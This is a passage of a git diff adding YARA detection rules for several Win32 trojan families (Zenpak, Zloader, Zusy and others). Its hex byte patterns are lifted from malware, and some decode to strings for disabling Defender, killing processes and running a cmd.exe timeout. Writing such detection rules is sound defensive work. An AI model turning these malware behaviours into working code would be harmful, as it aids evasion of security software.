?? ?? ?? 8b 35 ?? ?? ?? ?? 88 0d ?? ?? ?? ?? 81 c6 ?? ?? ?? ?? 89 35 ?? ?? ?? ?? a2 ?? ?? ?? ?? c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 0f b6 c2 5e } //4 + condition: + ((#a_03_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_SEZC_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_SEZC_MTB.yar new file mode 100644 index 0000000000..dfdc05003f --- /dev/null +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_SEZC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zenpak_SEZC_MTB{ + meta: + description = "Trojan:Win32/Zenpak.SEZC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {22 00 00 c7 05 ?? ?? ?? ?? ?? ?? ?? 00 0f b6 c4 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ZEY_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ZEY_MTB.yar new file mode 100644 index 0000000000..75419dc1dd --- /dev/null +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ZEY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zenpak_ZEY_MTB{ + meta: + description = "Trojan:Win32/Zenpak.ZEY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {55 89 e5 8a 45 0c 8a 4d 08 31 d2 88 d4 8b 15 ?? ?? ?? ?? 81 c2 ?? ?? ?? ?? 89 15 ?? ?? ?? ?? 88 cd 02 2d ?? ?? ?? ?? 88 2d ?? ?? ?? ?? 88 0d ?? ?? ?? ?? a2 ?? ?? ?? ?? 8b 15 18 ee 60 00 81 c2 ?? ?? ?? ?? 89 15 ?? ?? ?? ?? 0f b6 c4 5d c3 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ZTY_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ZTY_MTB.yar new file mode 100644 index 0000000000..e8ac100f7b --- /dev/null +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ZTY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zenpak_ZTY_MTB{ + meta: + description = "Trojan:Win32/Zenpak.ZTY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {55 89 e5 56 8a 45 0c 8a 4d 08 b2 01 8b 35 ?? ?? ?? ?? 88 c4 02 25 ?? ?? ?? ?? 88 25 ?? ?? ?? ?? 88 0d ?? ?? ?? ?? a2 ?? ?? ?? ?? 81 c6 ?? ?? ?? ?? 89 35 ?? ?? ?? ?? c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 0f b6 c2 5e 5d c3 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ZVY_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ZVY_MTB.yar new file mode 100644 index 0000000000..3c20117066 --- /dev/null +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ZVY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zenpak_ZVY_MTB{ + meta: + description = "Trojan:Win32/Zenpak.ZVY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {55 89 e5 56 8a 45 0c 8a 4d 08 31 d2 88 d4 88 cd 02 2d ?? ?? ?? ?? 88 2d ?? ?? ?? ?? 8b 15 ?? ?? ?? ?? 89 d6 81 c6 ?? ?? ?? ?? 89 35 ?? ?? ?? ?? 88 0d ?? ?? ?? ?? a2 ?? ?? ?? ?? 81 c2 ?? ?? ?? ?? 89 15 ?? ?? ?? ?? 0f b6 c4 5e 5d c3 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ZYY_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ZYY_MTB.yar new file mode 100644 index 0000000000..a28a3db694 --- /dev/null +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ZYY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zenpak_ZYY_MTB{ + meta: + description = "Trojan:Win32/Zenpak.ZYY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {55 89 e5 53 81 ec ?? ?? ?? ?? b8 ?? ?? ?? ?? 8b 0d ?? ?? ?? ?? 80 39 6a 89 85 ?? ?? ?? ?? 0f 84 ?? ?? ?? ?? e9 ?? ?? ?? ?? 8d 85 ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8b 85 ?? ?? ?? ?? 80 38 2e 74 ?? eb ?? 80 bd ?? ?? ?? ?? 2e 75 16 31 c0 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zensnif/Trojan_Win32_Zensnif_A.yar b/Trojan/Win32/Zensnif/Trojan_Win32_Zensnif_A.yar index 757154bd47..0273254df0 100644 --- a/Trojan/Win32/Zensnif/Trojan_Win32_Zensnif_A.yar +++ b/Trojan/Win32/Zensnif/Trojan_Win32_Zensnif_A.yar @@ -5,7 +5,7 @@ rule Trojan_Win32_Zensnif_A{ strings : $a_43_0 = {45 14 8b 4d 10 8b 55 0c 8b 75 08 90 02 02 8a 24 0a 28 c4 88 90 00 0a } //1 - $a_66_1 = {00 05 90 01 02 00 00 50 ff 14 24 90 00 00 00 0a 00 5d 04 00 00 81 43 05 80 5c 26 00 00 83 43 05 80 00 00 01 00 08 00 10 00 ac 21 44 65 6c 66 49 6e 6a 65 63 74 2e 50 4f 55 00 00 01 40 05 82 70 00 04 00 } //3840 + $a_66_1 = {00 05 90 01 02 00 00 50 ff 14 24 90 00 00 00 0a 00 5d 04 00 00 81 43 05 80 5c 2b 00 00 84 43 05 80 00 00 01 00 08 00 15 00 af 01 44 69 73 61 62 6c 65 44 65 66 65 6e 64 65 72 21 4d 53 52 00 00 01 40 05 } //3840 condition: ((#a_43_0 & 1)*1+(#a_66_1 & 1)*3840) >=11 diff --git a/Trojan/Win32/Zload/Trojan_Win32_ZLoad_AHB_MTB.yar b/Trojan/Win32/Zload/Trojan_Win32_ZLoad_AHB_MTB.yar new file mode 100644 index 0000000000..0a054112ae --- /dev/null +++ b/Trojan/Win32/Zload/Trojan_Win32_ZLoad_AHB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ZLoad_AHB_MTB{ + meta: + description = "Trojan:Win32/ZLoad.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {89 ca 80 c2 ?? 32 54 0c 04 80 c2 ?? 88 54 0c 04 41 83 f9 ?? 75 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zloader/Trojan_Win32_Zloader_B.yar b/Trojan/Win32/Zloader/Trojan_Win32_Zloader_B.yar new file mode 100644 index 0000000000..5f851cf217 --- /dev/null +++ b/Trojan/Win32/Zloader/Trojan_Win32_Zloader_B.yar @@ -0,0 +1,22 @@ + +rule Trojan_Win32_Zloader_B{ + meta: + description = "Trojan:Win32/Zloader.B,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0c 00 00 " + + strings : + $a_01_0 = {ba 12 27 00 00 } //1 + $a_01_1 = {ba 29 27 00 00 } //1 + $a_01_2 = {ba 11 27 00 00 } //1 + $a_01_3 = {ba 13 27 00 00 } //1 + $a_01_4 = {ba 16 27 00 00 } //1 + $a_01_5 = {ba e0 2e 00 00 } //1 + $a_03_6 = {48 63 44 24 ?? 48 8d 0d ?? ?? ?? ?? 8a 04 01 0f b6 ?? 48 63 44 24 ?? 48 8d } //10 + $a_03_7 = {48 89 c2 e8 ?? ?? ?? ?? 0f b6 ?? ?? ?? ?? ?? 32 1d } //10 + $a_03_8 = {ba 10 00 00 00 e8 ?? ?? ?? ?? 0f b6 ?? ?? ?? ?? ?? 32 1d } //10 + $a_03_9 = {31 ff 4c 8d ?? ?? ?? ?? ?? 4c 8d ?? ?? ?? ?? ?? 0f } //10 + $a_03_10 = {31 ff 4c 8d ?? ?? ?? ?? ?? 4c 8d ?? ?? ?? ?? ?? 31 f6 0f } //10 + $a_03_11 = {31 db 4c 8d ?? ?? ?? ?? ?? 48 8d ?? ?? ?? ?? ?? 66 } //10 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_03_6 & 1)*10+(#a_03_7 & 1)*10+(#a_03_8 & 1)*10+(#a_03_9 & 1)*10+(#a_03_10 & 1)*10+(#a_03_11 & 1)*10) >=13 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AF_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AF_MTB.yar new file mode 100644 index 0000000000..61421d25bd --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_AF_MTB{ + meta: + description = "Trojan:Win32/Zusy.AF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 01 8b 51 04 89 46 04 8b 46 08 89 56 0c 8b 48 04 89 4e 10 89 d1 8b 10 8b 46 04 33 4e 10 31 d0 89 56 14 31 d2 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AHB_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AHB_MTB.yar new file mode 100644 index 0000000000..cc7ef2bffc --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AHB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Zusy_AHB_MTB{ + meta: + description = "Trojan:Win32/Zusy.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {89 ca c1 e2 05 0f be c0 01 d0 01 c1 83 c3 01 0f b6 43 ff 84 c0 75 } //2 + $a_80_1 = {42 4b 3a 20 53 75 63 63 65 73 66 75 6c 6c 79 20 64 65 6c 65 74 65 64 20 72 65 67 69 73 74 72 79 20 6b 65 79 3a 20 48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 25 73 20 2d 20 22 25 73 } //BK: Succesfully deleted registry key: HKEY_LOCAL_MACHINE\%s - "%s 1 + $a_80_2 = {42 4b 3a 20 53 75 63 63 65 73 73 66 75 6c 6c 79 20 6b 69 6c 6c 65 64 20 50 72 6f 63 65 73 73 3a 20 25 73 20 28 50 49 44 3a 20 25 6c 64 29 } //BK: Successfully killed Process: %s (PID: %ld) 1 + condition: + ((#a_01_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AHC_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AHC_MTB.yar new file mode 100644 index 0000000000..c39820747d --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AHC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Zusy_AHC_MTB{ + meta: + description = "Trojan:Win32/Zusy.AHC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {8b 45 fc 8b 55 f4 8a 44 10 ff 8b 55 f8 8a 54 1a ff 32 c2 25 ff 00 00 00 8d 4d f0 ba 02 00 00 00 e8 } //3 + $a_03_1 = {8a 54 1f ff 0f b7 ce c1 e9 08 32 d1 88 54 18 ff 33 c0 8a 44 1f ff 66 03 f0 66 0f af 35 ?? ?? ?? 00 66 03 35 ?? ?? ?? 00 43 ff 4d f8 75 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AHD_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AHD_MTB.yar new file mode 100644 index 0000000000..8afe1baed8 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AHD_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Zusy_AHD_MTB{ + meta: + description = "Trojan:Win32/Zusy.AHD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_01_0 = {8b 55 08 8b 45 fc 01 d0 0f b6 00 32 45 ec 89 c1 8b 55 14 8b 45 fc 01 d0 89 ca 88 10 83 45 fc 01 } //3 + $a_03_1 = {ff ff 76 c7 45 f0 09 00 00 00 8d 85 ?? ?? ff ff 89 44 24 0c c7 44 24 08 37 00 00 00 8b 45 f0 89 44 24 04 8d 85 ?? ?? ff ff 89 04 24 e8 } //2 + $a_01_2 = {63 6d 64 2e 65 78 65 20 2f 43 20 74 69 6d 65 6f 75 74 20 2f 54 20 31 20 2f 4e 4f 42 52 45 41 4b 20 3e 6e 75 6c } //1 cmd.exe /C timeout /T 1 /NOBREAK >nul + condition: + ((#a_01_0 & 1)*3+(#a_03_1 & 1)*2+(#a_01_2 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AHF_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AHF_MTB.yar new file mode 100644 index 0000000000..13f8104ba9 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AHF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Zusy_AHF_MTB{ + meta: + description = "Trojan:Win32/Zusy.AHF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {6b 45 e8 1c 8b 4d e0 8b 54 01 14 89 55 ac 6b 45 e8 1c 8b 4d e0 8b 54 01 10 89 55 88 8b 45 ac 25 ff ff 00 00 50 ff 15 } //2 + $a_03_1 = {8b 45 e0 8b 08 8b 51 10 89 55 90 90 6a 00 6a 00 8d 45 80 50 6a 00 68 ?? ?? ?? 10 8b 4d e0 51 ff 55 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AO_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AO_MTB.yar new file mode 100644 index 0000000000..f87c29cb5c --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_AO_MTB{ + meta: + description = "Trojan:Win32/Zusy.AO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 45 08 8b 40 08 03 45 f8 8b 4d 08 99 f7 79 04 8b 45 08 8b 08 8b 45 f8 8b 75 f4 8b 0c 91 89 0c 86 e9 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AP_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AP_MTB.yar new file mode 100644 index 0000000000..65d5d6276c --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_AP_MTB{ + meta: + description = "Trojan:Win32/Zusy.AP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {89 e5 d7 59 4b 19 83 0c 87 46 81 30 8e bf 0b e9 b0 3c 14 70 e3 ee 48 4c 7e 0b } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AQ_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AQ_MTB.yar new file mode 100644 index 0000000000..590dab5b0b --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_AQ_MTB{ + meta: + description = "Trojan:Win32/Zusy.AQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {4b 33 ca 42 03 1d 41 5f 53 00 87 c1 87 c1 4a 33 ca 43 21 0d 3d 5c 53 00 81 eb } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AS_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AS_MTB.yar new file mode 100644 index 0000000000..7a22938257 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_AS_MTB{ + meta: + description = "Trojan:Win32/Zusy.AS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {89 c3 83 e3 0f 0f b6 3c 31 89 fd 83 e5 0f 01 eb 21 c5 01 ed 29 eb 89 c5 c1 ed 04 33 2c 9d fc 16 45 00 89 e8 83 e5 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AUZ_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AUZ_MTB.yar new file mode 100644 index 0000000000..cbe5f288bb --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AUZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_AUZ_MTB{ + meta: + description = "Trojan:Win32/Zusy.AUZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {8d 55 e6 8b 45 f4 01 d0 0f b6 18 c7 04 24 1c e0 a4 6c e8 ?? ?? ?? ?? 8b 55 f4 01 d0 83 c0 0a 88 18 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AZU_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AZU_MTB.yar index 0664e30874..1e49093a17 100644 --- a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AZU_MTB.yar +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_AZU_MTB.yar @@ -10,6 +10,17 @@ rule Trojan_Win32_Zusy_AZU_MTB{ } rule Trojan_Win32_Zusy_AZU_MTB_2{ + meta: + description = "Trojan:Win32/Zusy.AZU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {c1 e9 02 f3 a5 8b ca 83 e1 03 68 98 64 41 00 f3 a4 50 e8 ?? ?? ?? ?? 8b f0 8d 85 8c fe ff ff 56 6a 64 6a 01 50 } //2 + $a_03_1 = {8a 47 01 8d 7f 01 84 c0 75 f6 a1 ?? ?? ?? ?? 89 07 8d 45 8c 6a 00 50 ff 15 ?? ?? ?? ?? 8b 4d fc 5f 33 cd 5e } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} +rule Trojan_Win32_Zusy_AZU_MTB_3{ meta: description = "Trojan:Win32/Zusy.AZU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -19,7 +30,7 @@ rule Trojan_Win32_Zusy_AZU_MTB_2{ ((#a_01_0 & 1)*1) >=1 } -rule Trojan_Win32_Zusy_AZU_MTB_3{ +rule Trojan_Win32_Zusy_AZU_MTB_4{ meta: description = "Trojan:Win32/Zusy.AZU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAA_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAA_MTB.yar new file mode 100644 index 0000000000..e406583a45 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Zusy_BAA_MTB{ + meta: + description = "Trojan:Win32/Zusy.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_01_0 = {33 c5 89 45 fc 53 56 57 } //1 + $a_01_1 = {89 45 e0 64 a1 30 00 00 00 8b 40 0c 8b 40 0c 8b 00 8b 00 8b 40 18 } //2 + $a_03_2 = {ff d0 85 c0 0f 84 ?? ?? ?? ?? 83 f8 57 0f 85 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2+(#a_03_2 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAB_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAB_MTB.yar new file mode 100644 index 0000000000..ce6cf291d9 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_BAB_MTB{ + meta: + description = "Trojan:Win32/Zusy.BAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_03_0 = {1b c0 53 83 e0 02 0c 20 50 6a 02 53 6a 01 68 ?? ?? ?? ?? ff 75 08 ff 15 } //4 + condition: + ((#a_03_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAC_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAC_MTB.yar new file mode 100644 index 0000000000..55d4056a50 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAC_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win32_Zusy_BAC_MTB{ + meta: + description = "Trojan:Win32/Zusy.BAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {0f b6 14 10 33 ca 8b 45 08 03 45 98 0f b6 30 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} +rule Trojan_Win32_Zusy_BAC_MTB_2{ + meta: + description = "Trojan:Win32/Zusy.BAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {b9 62 00 00 00 f3 a4 8d 85 62 ff ff ff 89 04 24 e8 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAE_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAE_MTB.yar new file mode 100644 index 0000000000..ce33889dc2 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_BAE_MTB{ + meta: + description = "Trojan:Win32/Zusy.BAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8b 4d 8c 8a 44 15 98 30 04 0f 47 81 ff ?? ?? ?? ?? 7c } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAF_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAF_MTB.yar new file mode 100644 index 0000000000..e4639010c8 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_BAF_MTB{ + meta: + description = "Trojan:Win32/Zusy.BAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8b 52 0c 8a 14 1a 8a 1c 39 32 d3 83 c6 01 88 14 01 8b 45 ?? 0f 80 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAG_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAG_MTB.yar new file mode 100644 index 0000000000..eaf7205098 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_BAG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_BAG_MTB{ + meta: + description = "Trojan:Win32/Zusy.BAG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 45 a4 c1 e0 05 89 c2 8b 45 a4 01 c2 8b 45 a0 01 d0 89 45 a4 8b 45 a8 8d 50 01 89 55 a8 0f b6 00 0f be c0 89 45 a0 83 7d a0 00 75 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_CCJX_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_CCJX_MTB.yar new file mode 100644 index 0000000000..cc64f78964 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_CCJX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_CCJX_MTB{ + meta: + description = "Trojan:Win32/Zusy.CCJX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {41 8a 0c 01 30 0c 17 47 3b 7d ?? 0f 82 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_EAET_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_EAET_MTB.yar new file mode 100644 index 0000000000..7cadfce52e --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_EAET_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Zusy_EAET_MTB{ + meta: + description = "Trojan:Win32/Zusy.EAET!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_02_0 = {8b d0 8b d8 c1 ea 18 c1 eb 10 0f b6 d2 0f b6 92 ?? ?? ?? ?? 88 5c 24 11 8b d8 0f b6 c0 8a 80 ?? ?? ?? ?? 88 44 24 0f 33 c0 88 54 24 0c } //5 + $a_01_1 = {01 d1 01 d0 c7 01 4d 4a 43 3b 01 d1 01 d0 c7 01 44 36 4f a1 01 d1 01 d0 89 ec } //5 + condition: + ((#a_02_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_EZV_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_EZV_MTB.yar new file mode 100644 index 0000000000..1d4b19e409 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_EZV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_EZV_MTB{ + meta: + description = "Trojan:Win32/Zusy.EZV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 55 f0 89 d0 c1 e0 02 01 d0 c1 e0 03 89 c2 8b 45 e0 01 d0 89 c2 8d 45 d4 89 44 24 04 89 14 24 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_GAO_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_GAO_MTB.yar new file mode 100644 index 0000000000..feefb79a47 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_GAO_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Zusy_GAO_MTB{ + meta: + description = "Trojan:Win32/Zusy.GAO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {8b 45 f8 03 45 0c 8b 55 f8 03 55 08 8a 12 32 55 ff 88 10 ff 45 f8 fe 45 ff } //8 + $a_01_1 = {44 45 41 44 42 41 42 45 } //2 DEADBABE + condition: + ((#a_01_0 & 1)*8+(#a_01_1 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_GDF_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_GDF_MTB.yar new file mode 100644 index 